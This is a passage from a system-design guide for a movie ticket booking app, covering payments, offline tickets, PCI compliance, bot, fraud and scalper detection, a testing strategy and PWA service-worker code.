  });

  const paymentDataRequest = {
    apiVersion: 2,
    apiVersionMinor: 0,
    merchantInfo: {
      merchantId: "MERCHANT_ID",
      merchantName: "BookMyShow",
    },
    transactionInfo: {
      totalPriceStatus: "FINAL",
      totalPrice: booking.totalAmount.toString(),
      currencyCode: "USD",
      countryCode: "US",
    },
  };

  const paymentData = await paymentsClient.loadPaymentData(paymentDataRequest);

  return processPayment({
    bookingId: booking.id,
    paymentMethod: "GOOGLE_PAY",
    token: paymentData.paymentMethodData.tokenizationData.token,
  });
}

13.5 Offline Ticket Display

// Save ticket for offline access
function TicketWallet({ booking }) {
  const [isOfflineReady, setIsOfflineReady] = useState(false);

  useEffect(() => {
    saveTicketOffline(booking).then(() => setIsOfflineReady(true));
  }, [booking]);

  return (
    <div className="ticket-wallet">
      <div className="ticket-card">
        {/* QR Code - works offline */}
        <QRCode
          value={booking.qrCode}
          size={200}
          level="H" // High error correction
        />

        <div className="ticket-details">
          <h2>{booking.movieName}</h2>
          <p>{booking.theaterName}</p>
          <p>{formatDate(booking.showTime)}</p>
          <p>Seats: {booking.seats.join(", ")}</p>
          <p>Booking ID: {booking.reference}</p>
        </div>

        {isOfflineReady && (
          <div className="offline-badge">✓ Available offline</div>
        )}
      </div>

      <button onClick={() => addToWallet(booking)}>
        Add to Apple Wallet / Google Pay
      </button>
    </div>
  );
}

async function saveTicketOffline(booking) {
  // Save to IndexedDB
  const db = await openDatabase("tickets");
  await db.put("bookings", {
    id: booking.id,
    data: booking,
    qrCodeBlob: await generateQRBlob(booking.qrCode),
    savedAt: Date.now(),
  });

  // Register for background sync
  if ("serviceWorker" in navigator && "sync" in registration) {
    await registration.sync.register("sync-tickets");
  }
}

14. Security Deep Dive

14.1 PCI DSS Compliance

┌─────────────────────────────────────────────────────────────┐
│              PCI DSS Compliance Architecture                 │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  Frontend (Out of Scope):                                   │
│  ┌─────────────────────────────────────────┐               │
│  │  Payment Form with iframe               │               │
│  │  (Hosted by Payment Gateway)            │               │
│  │                                          │               │
│  │  ┌───────────────────────────────┐     │               │
│  │  │  Card Number: ****           │     │               │
│  │  │  Expiry: **/**               │     │               │
│  │  │  CVV: ***                    │     │               │
│  │  └───────────────────────────────┘     │               │
│  │       ↓ Token only (no card data)       │               │
│  └─────────────────────────────────────────┘               │
│                                                              │
│  Backend (PCI SAQ-A):                                       │
│  ┌─────────────────────────────────────────┐               │
│  │  - Never touches card data              │               │
│  │  - Only receives payment tokens         │               │
│  │  - Tokens stored encrypted (AES-256)    │               │
│  │  - Audit logs for all payment actions   │               │
│  └─────────────────────────────────────────┘               │
│                                                              │
│  Payment Gateway (PCI Level 1):                             │
│  ┌─────────────────────────────────────────┐               │
│  │  Razorpay / Stripe / PayU               │               │
│  │  - Handles actual card processing       │               │
│  │  - Stores encrypted card data           │               │
│  │  - Returns token/reference              │               │
│  └─────────────────────────────────────────┘               │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Key Requirements:
□ No card data in our systems (tokenization)
□ HTTPS everywhere (TLS 1.2+)
□ Payment page served from gateway iframe
□ Webhook signature verification
□ Encryption at rest for payment tokens
□ Access controls for payment APIs
□ Audit logging for compliance

14.2 Bot Detection & Prevention

// Multi-layer bot detection
class BotDetector {
  constructor() {
    this.signals = {};
  }

  async analyze(request, context) {
    const scores = await Promise.all([
      this.checkBehavior(context),
      this.checkDeviceFingerprint(context),
      this.checkRateLimits(request),
      this.checkIP(request),
      this.checkCaptcha(context),
    ]);

    const totalScore = scores.reduce((sum, s) => sum + s, 0);
    return {
      isBot: totalScore > 70,
      score: totalScore,
      signals: this.signals,
    };
  }

  async checkBehavior(context) {
    const { mouseMovements, keystrokes, touchEvents, timing } = context;

    // Bots often have:
    // - No mouse movements
    // - Perfectly timed actions
    // - No scroll events
    // - Instant form fills

    let score = 0;

    if (!mouseMovements || mouseMovements.length < 5) {
      score += 20;
      this.signals.noMouseMovement = true;
    }

    if (timing.formFillTime < 1000) {
      // < 1 second to fill form
      score += 30;
      this.signals.instantFormFill = true;
    }

    if (!touchEvents && isMobileUserAgent(context.userAgent)) {
      score += 25;
      this.signals.mobileWithoutTouch = true;
    }

    return score;
  }

  async checkDeviceFingerprint(context) {
    const fingerprint = await generateFingerprint(context);

    // Check against known bot fingerprints
    const isKnownBot = await redis.sismember("bot_fingerprints", fingerprint);

    if (isKnownBot) {
      this.signals.knownBotFingerprint = true;
      return 50;
    }

    // Check fingerprint anomalies
    const anomalies = detectAnomalies(fingerprint);
    return anomalies.length * 10;
  }

  async checkRateLimits(request) {
    const { userId, ip, deviceId } = request;

    // Multiple rate limit checks
    const checks = [
      { key: `rate:ip:${ip}`, limit: 100, window: 60 },
      { key: `rate:user:${userId}`, limit: 50, window: 60 },
      { key: `rate:device:${deviceId}`, limit: 30, window: 60 },
      { key: `rate:lock:${userId}`, limit: 10, window: 60 }, // Seat lock attempts
    ];

    let score = 0;
    for (const check of checks) {
      const count = await redis.incr(check.key);
      if (count === 1) {
        await redis.expire(check.key, check.window);
      }

      if (count > check.limit) {
        score += 20;
        this.signals[`exceeded_${check.key}`] = true;
      }
    }

    return score;
  }
}

// CAPTCHA Integration (invisible reCAPTCHA v3)
async function verifyCaptcha(token, action, minScore = 0.5) {
  const response = await fetch(
    `https://www.google.com/recaptcha/api/siteverify`,
    {
      method: "POST",
      body: new URLSearchParams({
        secret: process.env.RECAPTCHA_SECRET,
        response: token,
      }),
    }
  );

  const result = await response.json();

  return {
    valid: result.success && result.score >= minScore,
    score: result.score,
    action: result.action,
  };
}

// Implement in seat lock endpoint
app.post("/api/bookings/lock", async (req, res) => {
  // 1. Verify CAPTCHA
  const captcha = await verifyCaptcha(req.body.captchaToken, "seat_lock");
  if (!captcha.valid) {
    return res.status(403).json({ error: "CAPTCHA_FAILED" });
  }

  // 2. Bot detection
  const botAnalysis = await botDetector.analyze(req, req.body.context);
  if (botAnalysis.isBot) {
    logger.warn("Bot detected", { signals: botAnalysis.signals });
    return res.status(403).json({ error: "SUSPICIOUS_ACTIVITY" });
  }

  // 3. Proceed with lock
  // ...
});

14.3 Fraud Detection

// Fraud detection for ticket booking
class FraudDetector {
  async analyzeBooking(booking, user) {
    const riskFactors = [];
    let riskScore = 0;

    // 1. Multiple bookings same show
    const recentBookings = await db.query(
      `
      SELECT COUNT(*) as count
      FROM bookings
      WHERE user_id = $1 AND show_id = $2 AND created_at > NOW() - INTERVAL '1 hour'
    `,
      [user.id, booking.showId]
    );

    if (recentBookings.count > 2) {
      riskScore += 30;
      riskFactors.push("MULTIPLE_BOOKINGS_SAME_SHOW");
    }

    // 2. New account bulk booking
    const accountAge = Date.now() - new Date(user.createdAt);
    const accountAgeDays = accountAge / (1000 * 60 * 60 * 24);

    if (accountAgeDays < 1 && booking.seatCount > 4) {
      riskScore += 40;
      riskFactors.push("NEW_ACCOUNT_BULK_BOOKING");
    }

    // 3. Different cards for same user
    const uniqueCards = await db.query(
      `
      SELECT COUNT(DISTINCT card_fingerprint) as count
      FROM payments
      WHERE user_id = $1 AND created_at > NOW() - INTERVAL '24 hours'
    `,
      [user.id]
    );

    if (uniqueCards.count > 3) {
      riskScore += 35;
      riskFactors.push("MULTIPLE_PAYMENT_METHODS");
    }

    // 4. High-value transaction from new device
    const isNewDevice = !(await isKnownDevice(user.id, booking.deviceId));
    if (isNewDevice && booking.amount > 1000) {
      riskScore += 25;
      riskFactors.push("NEW_DEVICE_HIGH_VALUE");
    }

    // 5. Geographic anomaly
    const userLocation = await getIPLocation(booking.ipAddress);
    const theaterLocation = await getTheaterLocation(booking.theaterId);
    const distance = calculateDistance(userLocation, theaterLocation);

    if (distance > 500) {
      // > 500 km from theater
      riskScore += 20;
      riskFactors.push("GEOGRAPHIC_ANOMALY");
    }

    // 6. Velocity check (too many attempts)
    const recentAttempts = await redis.get(`attempts:${user.id}`);
    if (recentAttempts > 10) {
      riskScore += 25;
      riskFactors.push("HIGH_ATTEMPT_VELOCITY");
    }

    return {
      riskScore,
      riskFactors,
      decision: getRiskDecision(riskScore),
    };
  }
}

function getRiskDecision(score) {
  if (score >= 70) return "BLOCK";
  if (score >= 50) return "MANUAL_REVIEW";
  if (score >= 30) return "STEP_UP_AUTH"; // Additional verification
  return "ALLOW";
}

// Apply fraud check in booking flow
app.post("/api/bookings", async (req, res) => {
  const fraudResult = await fraudDetector.analyzeBooking(req.body, req.user);

  switch (fraudResult.decision) {
    case "BLOCK":
      logger.warn("Booking blocked - fraud", {
        factors: fraudResult.riskFactors,
      });
      return res.status(403).json({
        error: "BOOKING_BLOCKED",
        message: "Unable to process booking. Contact support.",
      });

    case "MANUAL_REVIEW":
      // Create booking but hold for review
      const booking = await createBooking(req.body, {
        status: "PENDING_REVIEW",
      });
      await notifyFraudTeam(booking, fraudResult);
      return res.json({ ...booking, requiresReview: true });

    case "STEP_UP_AUTH":
      // Request additional verification
      return res.status(428).json({
        error: "VERIFICATION_REQUIRED",
        verificationType: "OTP",
      });

    default:
      // Proceed normally
      const booking = await createBooking(req.body);
      return res.json(booking);
  }
});

14.4 Scalper Prevention

// Anti-scalping measures
const SCALPER_RULES = {
  maxSeatsPerShow: 10,
  maxBookingsPerDay: 5,
  maxBookingsPerWeek: 20,
  cooldownBetweenBookings: 60, // seconds
  blacklistedPatterns: [/ticket.*(resale|sell)/i, /bulk.*purchase/i],
};

async function checkScalperActivity(userId, booking) {
  const violations = [];

  // 1. Seats per show limit
  const seatsThisShow = await db.query(
    `
    SELECT SUM(seat_count) as total
    FROM bookings
    WHERE user_id = $1 AND show_id = $2 AND status = 'CONFIRMED'
  `,
    [userId, booking.showId]
  );

  if (seatsThisShow.total + booking.seatCount > SCALPER_RULES.maxSeatsPerShow) {
    violations.push("MAX_SEATS_PER_SHOW");
  }

  // 2. Daily booking limit
  const bookingsToday = await db.query(
    `
    SELECT COUNT(*) as count
    FROM bookings
    WHERE user_id = $1 AND DATE(created_at) = CURRENT_DATE AND status = 'CONFIRMED'
  `,
    [userId]
  );

  if (bookingsToday.count >= SCALPER_RULES.maxBookingsPerDay) {
    violations.push("MAX_BOOKINGS_PER_DAY");
  }

  // 3. Cooldown between bookings
  const lastBooking = await redis.get(`last_booking:${userId}`);
  if (lastBooking) {
    const elapsed = Date.now() - parseInt(lastBooking);
    if (elapsed < SCALPER_RULES.cooldownBetweenBookings * 1000) {
      violations.push("COOLDOWN_VIOLATION");
    }
  }

  // 4. IP-based detection (same IP, multiple accounts)
  const accountsFromIP = await redis.smembers(`ip_accounts:${booking.ip}`);
  if (accountsFromIP.length > 3) {
    violations.push("MULTIPLE_ACCOUNTS_SAME_IP");
  }

  // 5. Phone number sharing
  const accountsWithPhone = await db.query(
    `
    SELECT COUNT(DISTINCT id) as count
    FROM users
    WHERE phone = $1
  `,
    [booking.user.phone]
  );

  if (accountsWithPhone.count > 1) {
    violations.push("SHARED_PHONE_NUMBER");
  }

  return {
    isScalper: violations.length >= 2,
    violations,
    action: violations.length >= 2 ? "BLOCK" : "ALLOW",
  };
}

15. Comprehensive Testing Strategy

15.1 Unit Tests

// Seat Lock Unit Tests
describe("SeatLockManager", () => {
  let lockManager;
  let redisMock;
  let dbMock;

  beforeEach(() => {
    redisMock = createRedisMock();
    dbMock = createDbMock();
    lockManager = new SeatLockManager(redisMock, dbMock);
  });

  describe("acquireLock", () => {
    it("should acquire lock for available seat", async () => {
      redisMock.set.mockResolvedValue("OK");
      dbMock.query.mockResolvedValue({ rows: [{ status: "AVAILABLE" }] });

      const result = await lockManager.acquireLock("show1", "A1", "user1");

      expect(result.success).toBe(true);
      expect(result.lockId).toBeDefined();
      expect(redisMock.set).toHaveBeenCalledWith(
        "lock:show:show1:seat:A1",
        expect.any(String),
        "NX",
        "EX",
        600
      );
    });

    it("should fail when seat already locked", async () => {
      redisMock.set.mockResolvedValue(null); // SETNX returns null if key exists

      const result = await lockManager.acquireLock("show1", "A1", "user1");

      expect(result.success).toBe(false);
      expect(result.error).toBe("SEAT_LOCKED");
    });

    it("should fail when seat already booked", async () => {
      redisMock.set.mockResolvedValue("OK");
      dbMock.query.mockResolvedValue({ rows: [{ status: "BOOKED" }] });

      const result = await lockManager.acquireLock("show1", "A1", "user1");

      expect(result.success).toBe(false);
      expect(result.error).toBe("SEAT_UNAVAILABLE");
      // Should cleanup Redis lock
      expect(redisMock.del).toHaveBeenCalled();
    });

    it("should handle multiple seats atomically", async () => {
      const seatIds = ["A1", "A2", "A3"];
      redisMock.multi.mockReturnThis();
      redisMock.set.mockReturnThis();
      redisMock.exec.mockResolvedValue([["OK"], ["OK"], ["OK"]]);

      const result = await lockManager.acquireMultiple(
        "show1",
        seatIds,
        "user1"
      );

      expect(result.success).toBe(true);
      expect(result.lockedSeats).toHaveLength(3);
    });

    it("should rollback on partial failure", async () => {
      const seatIds = ["A1", "A2", "A3"];
      redisMock.multi.mockReturnThis();
      redisMock.exec.mockResolvedValue([["OK"], [null], ["OK"]]); // A2 fails

      const result = await lockManager.acquireMultiple(
        "show1",
        seatIds,
        "user1"
      );

      expect(result.success).toBe(false);
      expect(result.error).toBe("PARTIAL_LOCK_FAILURE");
      // Should release A1 and A3
      expect(redisMock.del).toHaveBeenCalledTimes(2);
    });
  });

  describe("releaseLock", () => {
    it("should release lock owned by user", async () => {
      redisMock.get.mockResolvedValue("user1:lock123");
      redisMock.del.mockResolvedValue(1);

      const result = await lockManager.releaseLock("lock123", "user1");

      expect(result.success).toBe(true);
    });

    it("should not release lock owned by another user", async () => {
      redisMock.get.mockResolvedValue("user2:lock123"); // Different user

      const result = await lockManager.releaseLock("lock123", "user1");

      expect(result.success).toBe(false);
      expect(result.error).toBe("NOT_LOCK_OWNER");
    });
  });
});

// Payment Service Unit Tests
describe("PaymentService", () => {
  describe("processPayment", () => {
    it("should handle idempotent requests", async () => {
      const idempotencyKey = "key123";

      // First request
      const result1 = await paymentService.processPayment({
        bookingId: "b1",
        amount: 100,
        idempotencyKey,
      });

      // Second request with same key
      const result2 = await paymentService.processPayment({
        bookingId: "b1",
        amount: 100,
        idempotencyKey,
      });

      expect(result1.paymentId).toBe(result2.paymentId);
      expect(gatewayMock.charge).toHaveBeenCalledTimes(1); // Only once
    });

    it("should extend lock before payment", async () => {
      await paymentService.processPayment({
        bookingId: "b1",
        lockId: "lock1",
        amount: 100,
      });

      expect(lockManager.extendLock).toHaveBeenCalledWith("lock1", 300); // 5 mins
    });
  });
});

15.2 Integration Tests

// Integration test with real Redis and DB
describe("Booking Flow Integration", () => {
  let app;
  let redis;
  let db;

  beforeAll(async () => {
    app = await createTestApp();
    redis = await createTestRedis();
    db = await createTestDatabase();
  });

  afterAll(async () => {
    await redis.quit();
    await db.end();
  });

  beforeEach(async () => {
    await redis.flushall();
    await db.query("TRUNCATE bookings, seat_locks, show_seats CASCADE");
    await seedTestData(db);
  });

  describe("Complete Booking Flow", () => {
    it("should complete booking successfully", async () => {
      const user = await createTestUser();

      // 1. Get seat availability
      const seatsResponse = await request(app)
        .get("/api/v1/shows/show1/seats")
        .set("Authorization", `Bearer ${user.token}`);

      expect(seatsResponse.status).toBe(200);
      const availableSeats = seatsResponse.body.seats
        .filter((s) => s.status === "AVAILABLE")
        .slice(0, 2);

      // 2. Lock seats
      const lockResponse = await request(app)
        .post("/api/v1/bookings/lock")
        .set("Authorization", `Bearer ${user.token}`)
        .send({
          showId: "show1",
          seatIds: availableSeats.map((s) => s.id),
        });

      expect(lockResponse.status).toBe(200);
      expect(lockResponse.body.lockId).toBeDefined();

      // Verify seats are locked in Redis
      for (const seat of availableSeats) {
        const lock = await redis.get(`lock:show:show1:seat:${seat.id}`);
        expect(lock).toContain(user.id);
      }

      // 3. Create booking
      const bookingResponse = await request(app)
        .post("/api/v1/bookings")
        .set("Authorization", `Bearer ${user.token}`)
        .send({
          lockId: lockResponse.body.lockId,
          paymentMethod: "CARD",
        });

      expect(bookingResponse.status).toBe(201);
      expect(bookingResponse.body.status).toBe("PENDING");

      // 4. Simulate payment webhook
      const webhookResponse = await request(app)
        .post("/api/v1/payments/webhook")
        .set("X-Razorpay-Signature", generateSignature(paymentData))
        .send({
          paymentId: bookingResponse.body.paymentId,
          status: "SUCCESS",
        });

      expect(webhookResponse.status).toBe(200);

      // 5. Verify final state
      const finalBooking = await db.query(
        "SELECT * FROM bookings WHERE id = $1",
        [bookingResponse.body.bookingId]
      );

      expect(finalBooking.rows[0].status).toBe("CONFIRMED");

      // Verify seats are booked
      const seats = await db.query(
        "SELECT * FROM show_seats WHERE booking_id = $1",
        [bookingResponse.body.bookingId]
      );

      expect(seats.rows).toHaveLength(2);
      seats.rows.forEach((seat) => {
        expect(seat.status).toBe("BOOKED");
      });

      // Verify locks released
      for (const seat of availableSeats) {
        const lock = await redis.get(`lock:show:show1:seat:${seat.id}`);
        expect(lock).toBeNull();
      }
    });

    it("should handle concurrent lock attempts", async () => {
      const user1 = await createTestUser();
      const user2 = await createTestUser();
      const seatId = "A1";

      // Concurrent lock attempts
      const [result1, result2] = await Promise.all([
        request(app)
          .post("/api/v1/bookings/lock")
          .set("Authorization", `Bearer ${user1.token}`)
          .send({ showId: "show1", seatIds: [seatId] }),
        request(app)
          .post("/api/v1/bookings/lock")
          .set("Authorization", `Bearer ${user2.token}`)
          .send({ showId: "show1", seatIds: [seatId] }),
      ]);

      // Exactly one should succeed
      const successes = [result1, result2].filter((r) => r.status === 200);
      const failures = [result1, result2].filter((r) => r.status === 409);

      expect(successes).toHaveLength(1);
      expect(failures).toHaveLength(1);
    });
  });
});

15.3 Load Testing

// k6 load test script
import http from "k6/http";
import { check, sleep, group } from "k6";
import { Rate, Trend } from "k6/metrics";

const errorRate = new Rate("errors");
const lockLatency = new Trend("lock_latency");
const bookingLatency = new Trend("booking_latency");

export const options = {
  scenarios: {
    // Simulate normal load
    normal_load: {
      executor: "ramping-vus",
      startVUs: 0,
      stages: [
        { duration: "2m", target: 100 },
        { duration: "5m", target: 100 },
        { duration: "2m", target: 0 },
      ],
    },

    // Simulate peak load (movie premiere)
    peak_load: {
      executor: "ramping-arrival-rate",
      startRate: 0,
      timeUnit: "1s",
      preAllocatedVUs: 500,
      stages: [
        { duration: "1m", target: 100 },
        { duration: "3m", target: 500 },
        { duration: "1m", target: 0 },
      ],
    },

    // Simulate seat contention
    seat_contention: {
      executor: "per-vu-iterations",
      vus: 50,
      iterations: 10,
      maxDuration: "5m",
    },
  },

  thresholds: {
    http_req_duration: ["p(95)<500", "p(99)<1000"],
    errors: ["rate<0.01"],
    lock_latency: ["p(95)<200"],
    booking_latency: ["p(95)<1000"],
  },
};

const BASE_URL = __ENV.BASE_URL || "http://localhost:3000";
const SHOW_ID = __ENV.SHOW_ID || "test-show-1";

export default function () {
  const userToken = login();

  group("Seat Selection Flow", () => {
    // 1. Get available seats
    const seatsRes = http.get(`${BASE_URL}/api/v1/shows/${SHOW_ID}/seats`, {
      headers: { Authorization: `Bearer ${userToken}` },
    });

    check(seatsRes, {
      "seats retrieved": (r) => r.status === 200,
    });

    const seats = JSON.parse(seatsRes.body).seats;
    const available = seats.filter((s) => s.status === "AVAILABLE");

    if (available.length === 0) {
      console.log("No seats available");
      return;
    }

    // 2. Lock random available seat
    const seatToLock = available[Math.floor(Math.random() * available.length)];

    const lockStart = Date.now();
    const lockRes = http.post(
      `${BASE_URL}/api/v1/bookings/lock`,
      JSON.stringify({
        showId: SHOW_ID,
        seatIds: [seatToLock.id],
      }),
      {
        headers: {
          Authorization: `Bearer ${userToken}`,
          "Content-Type": "application/json",
        },
      }
    );
    lockLatency.add(Date.now() - lockStart);

    const lockSuccess = check(lockRes, {
      "lock acquired": (r) => r.status === 200,
      "lock conflict": (r) => r.status === 409,
    });

    if (lockRes.status !== 200) {
      errorRate.add(lockRes.status !== 409); // 409 is expected contention
      return;
    }

    const lockData = JSON.parse(lockRes.body);

    // 3. Simulate payment decision time
    sleep(Math.random() * 3 + 1); // 1-4 seconds

    // 4. Create booking (70% complete, 30% abandon)
    if (Math.random() < 0.7) {
      const bookingStart = Date.now();
      const bookingRes = http.post(
        `${BASE_URL}/api/v1/bookings`,
        JSON.stringify({
          lockId: lockData.lockId,
          paymentMethod: "CARD",
        }),
        {
          headers: {
            Authorization: `Bearer ${userToken}`,
            "Content-Type": "application/json",
          },
        }
      );
      bookingLatency.add(Date.now() - bookingStart);

      check(bookingRes, {
        "booking created": (r) => r.status === 201,
      });

      errorRate.add(bookingRes.status >= 400);
    } else {
      // Abandon - release lock
      http.del(`${BASE_URL}/api/v1/bookings/lock/${lockData.lockId}`, null, {
        headers: { Authorization: `Bearer ${userToken}` },
      });
    }
  });

  sleep(1);
}

function login() {
  // Use test user pool
  const userId = Math.floor(Math.random() * 1000);
  const res = http.post(`${BASE_URL}/api/v1/auth/test-login`, {
    userId: `test-user-${userId}`,
  });
  return JSON.parse(res.body).token;
}

15.4 Chaos Engineering

// Chaos tests using Gremlin/Chaos Monkey patterns
describe("Chaos Engineering Tests", () => {
  describe("Redis Failure", () => {
    it("should fallback to DB when Redis is down", async () => {
      // 1. Make a successful lock with Redis
      const lock1 = await lockManager.acquireLock("show1", "A1", "user1");
      expect(lock1.success).toBe(true);

      // 2. Kill Redis connection
      await redis.disconnect();

      // 3. Attempt another lock (should fallback to DB)
      const lock2 = await lockManager.acquireLock("show1", "A2", "user1");
      expect(lock2.success).toBe(true);
      expect(lock2.fallback).toBe("database");

      // 4. Verify DB has the lock
      const dbLock = await db.query(
        "SELECT * FROM seat_locks WHERE seat_id = $1 AND status = $2",
        ["A2", "ACTIVE"]
      );
      expect(dbLock.rows).toHaveLength(1);
    });

    it("should release locks from DB when Redis recovers", async () => {
      await redis.disconnect();

      // Lock with DB fallback
      await lockManager.acquireLock("show1", "A1", "user1");

      // Reconnect Redis
      await redis.connect();

      // Trigger reconciliation
      await lockManager.reconcile();

      // Verify lock is in Redis
      const redisLock = await redis.get("lock:show:show1:seat:A1");
      expect(redisLock).toBeDefined();
    });
  });

  describe("Database Failure", () => {
    it("should handle DB connection failures gracefully", async () => {
      // Lock succeeds in Redis
      const lock = await lockManager.acquireLock("show1", "A1", "user1");
      expect(lock.success).toBe(true);

      // Kill DB
      await db.end();

      // Attempt booking (should fail gracefully)
      const booking = await bookingService.createBooking({
        lockId: lock.lockId,
        userId: "user1",
      });

      expect(booking.success).toBe(false);
      expect(booking.error).toBe("SERVICE_TEMPORARILY_UNAVAILABLE");

      // Lock should still be valid in Redis
      const redisLock = await redis.get(`lock:show:show1:seat:A1`);
      expect(redisLock).toBeDefined();
    });
  });

  describe("Network Partition", () => {
    it("should handle payment gateway timeout", async () => {
      // Mock gateway timeout
      gatewayMock.charge.mockImplementation(
        () =>
          new Promise((_, reject) =>
            setTimeout(() => reject(new Error("Timeout")), 5000)
          )
      );

      const result = await paymentService.processPayment({
        bookingId: "b1",
        amount: 100,
        timeout: 3000,
      });

      expect(result.success).toBe(false);
      expect(result.error).toBe("GATEWAY_TIMEOUT");

      // Lock should still be active
      const lock = await lockManager.getLock("b1");
      expect(lock.status).toBe("ACTIVE");

      // Should schedule retry
      const retryJob = await queue.getJob("retry-payment-b1");
      expect(retryJob).toBeDefined();
    });
  });
});

16. Offline Support & PWA

16.1 Service Worker for Tickets

// sw.js - Service Worker
const CACHE_NAME = "bookmyshow-v1";
const TICKET_CACHE = "tickets-v1";

// Assets to cache
const STATIC_ASSETS = [
  "/",
  "/index.html",
  "/static/js/main.js",
  "/static/css/main.css",
  "/offline.html",
];

// Install event
self.addEventListener("install", (event) => {
  event.waitUntil(
    caches.open(CACHE_NAME).then((cache) => {
      return cache.addAll(STATIC_ASSETS);
    })
  );
  self.skipWaiting();
});

// Fetch event
self.addEventListener("fetch", (event) => {
  const url = new URL(event.request.url);

  // Ticket API - Network first, cache fallback
  if (
    url.pathname.startsWith("/api/v1/bookings/") &&
    url.pathname.includes("/ticket")
  ) {
    event.respondWith(handleTicketRequest(event.request));
    return;
  }

  // Static assets - Cache first
  if (STATIC_ASSETS.includes(url.pathname)) {
    event.respondWith(
      caches.match(event.request).then((cached) => {
        return cached || fetch(event.request);
      })
    );
    return;
  }

  // Other API calls - Network only
  if (url.pathname.startsWith("/api/")) {
    event.respondWith(fetch(event.request));
    return;
  }

  // Default - Network first, offline fallback
  event.respondWith(
    fetch(event.request).catch(() => {
      return caches.match("/offline.html");
    })
  );
});

async function handleTicketRequest(request) {
  const cache = await caches.open(TICKET_CACHE);

  try {
    const response = await fetch(request);

    if (response.ok) {
      // Cache successful response
      cache.put(request, response.clone());
    }

    return response;
  } catch (error) {
    // Network failed, try cache
    const cached = await cache.match(request);

    if (cached) {
      return cached;
    }

    // Return offline ticket template
    return new Response(
      JSON.stringify({
        offline: true,
        message: "Ticket available offline. Show QR code at venue.",
      }),
      {
        status: 200,
        headers: { "Content-Type": "application/json" },
      }
    );
  }
}

// Background sync for booking status
self.addEventListener("sync", (event) => {
  if (event.tag === "sync-booking-status") {
    event.waitUntil(syncBookingStatus());
  }
});

async function syncBookingStatus() {
  const db = await openDatabase("pending-syncs");
  const pendingBookings = await db.getAll("booking-checks");

  for (const booking of pendingBookings) {
    try {
      const response = await fetch(`/api/v1/bookings/${booking.id}`);
      const data = await response.json();

      // Update local storage
      await updateLocalBooking(booking.id, data);

      // Remove from pending
      await db.delete("booking-checks", booking.id);
    } catch (error) {
      // Will retry on next sync
    }
  }
}

16.2 IndexedDB for Ticket Storage

// ticket-storage.js
class TicketStorage {
  constructor() {
    this.dbName = "BookMyShowTickets";
    this.version = 1;
  }

  async init() {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open(this.dbName, this.version);

      request.onerror = () => reject(request.error);
      request.onsuccess = () => {
        this.db = request.result;
        resolve(this.db);
      };

      request.onupgradeneeded = (event) => {
        const db = event.target.result;

        // Tickets store
        if (!db.objectStoreNames.contains("tickets")) {
          const store = db.createObjectStore("tickets", {
            keyPath: "bookingId",
          });
          store.createIndex("showTime", "showTime");
          store.createIndex("status", "status");
        }

        // QR codes store (blobs)
        if (!db.objectStoreNames.contains("qrcodes")) {
          db.createObjectStore("qrcodes", { keyPath: "bookingId" });
        }
      };
    });
  }

  async saveTicket(booking) {
    const transaction = this.db.transaction(
      ["tickets", "qrcodes"],
      "readwrite"
    );

    // Save booking details
    await transaction.objectStore("tickets").put({
      bookingId: booking.id,
      movieName: booking.movieName,
      theaterName: booking.theaterName,
      showTime: booking.showTime,
      seats: booking.seats,
      status: booking.status,
      reference: booking.reference,
      qrCodeData: booking.qrCode,
      savedAt: Date.now(),
    });

    // Save QR code as blob
    const qrBlob = await this.generateQRBlob(booking.qrCode);
    await transaction.objectStore("qrcodes").put({
      bookingId: booking.id,
      blob: qrBlob,
    });
  }

  async getTicket(bookingId) {
    const transaction = this.db.transaction(["tickets", "qrcodes"], "readonly");

    const ticket = await new Promise((resolve) => {
      const request = transaction.objectStore("tickets").get(bookingId);
      request.onsuccess = () => resolve(request.result);
    });

    if (!ticket) return null;

    const qrCode = await new Promise((resolve) => {
      const request = transaction.objectStore("qrcodes").get(bookingId);
      request.onsuccess = () => resolve(request.result?.blob);
    });

    return { ...ticket, qrCodeBlob: qrCode };
  }

  async getUpcomingTickets() {
    const now = Date.now();
    const transaction = this.db.transaction("tickets", "readonly");
    const index = transaction.objectStore("tickets").index("showTime");

    return new Promise((resolve) => {
      const tickets = [];
      const range = IDBKeyRange.lowerBound(now);

      index.openCursor(range).onsuccess = (event) => {
        const cursor = event.target.result;
        if (cursor) {
          tickets.push(cursor.value);
          cursor.continue();
        } else {
          resolve(tickets);
        }
      };
    });
  }

  async generateQRBlob(qrData) {
    const canvas = document.createElement("canvas");
    await QRCode.toCanvas(canvas, qrData, {
      width: 300,
      errorCorrectionLevel: "H",
    });
    return new Promise((resolve) => {
      canvas.toBlob(resolve, "image/png");
    });
  }

  async cleanupOldTickets() {
    const oneWeekAgo = Date.now() - 7 * 24 * 60 * 60 * 1000;
    const transaction = this.db.transaction(
      ["tickets", "qrcodes"],
      "readwrite"
    );
    const index = transaction.objectStore("tickets").index("showTime");

    const range = IDBKeyRange.upperBound(oneWeekAgo);

    index.openCursor(range).onsuccess = (event) => {
      const cursor = event.target.result;
      if (cursor) {
        const bookingId = cursor.value.bookingId;
        transaction.objectStore("tickets").delete(bookingId);
        transaction.objectStore("qrcodes").delete(bookingId);
        cursor.continue();
      }
    };
  }
}

// Usage in React component
function useOfflineTickets() {
  const [tickets, setTickets] = useState([]);
  const [isOffline, setIsOffline] = useState(!navigator.onLine);
  const storageRef = useRef(new TicketStorage());

  useEffect(() => {
    storageRef.current.init().then(() => {
      loadTickets();
    });

    window.addEventListener("online", () => setIsOffline(false));
    window.addEventListener("offline", () => setIsOffline(true));
  }, []);

  const loadTickets = async () => {
    const upcoming = await storageRef.current.getUpcomingTickets();
    setTickets(upcoming);
  };

  const saveTicket = async (booking) => {
    await storageRef.current.saveTicket(booking);
    await loadTickets();
  };

  return { tickets, isOffline, saveTicket };
}

17. Real-time Implementation

17.1 WebSocket Architecture

┌─────────────────────────────────────────────────────────────┐
│              WebSocket Architecture                          │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  Client                   Server                   Redis     │
│    │                        │                        │       │
│    │ Connect WS             │                        │       │
│    │───────────────────────>│                        │       │
│    │                        │                        │       │
│    │ Subscribe: show:123    │                        │       │
│    │───────────────────────>│  SUBSCRIBE show:123   │       │
│    │                        │───────────────────────>│       │
│    │                        │                        │       │
│    │                        │  PUBLISH show:123     │       │
│    │                        │<───────────────────────│       │
│    │ Message: seat_locked   │                        │       │
│    │<───────────────────────│                        │       │
│    │                        │                        │       │
│    │ Heartbeat (30s)        │                        │       │
│    │<──────────────────────>│                        │       │
│    │                        │                        │       │
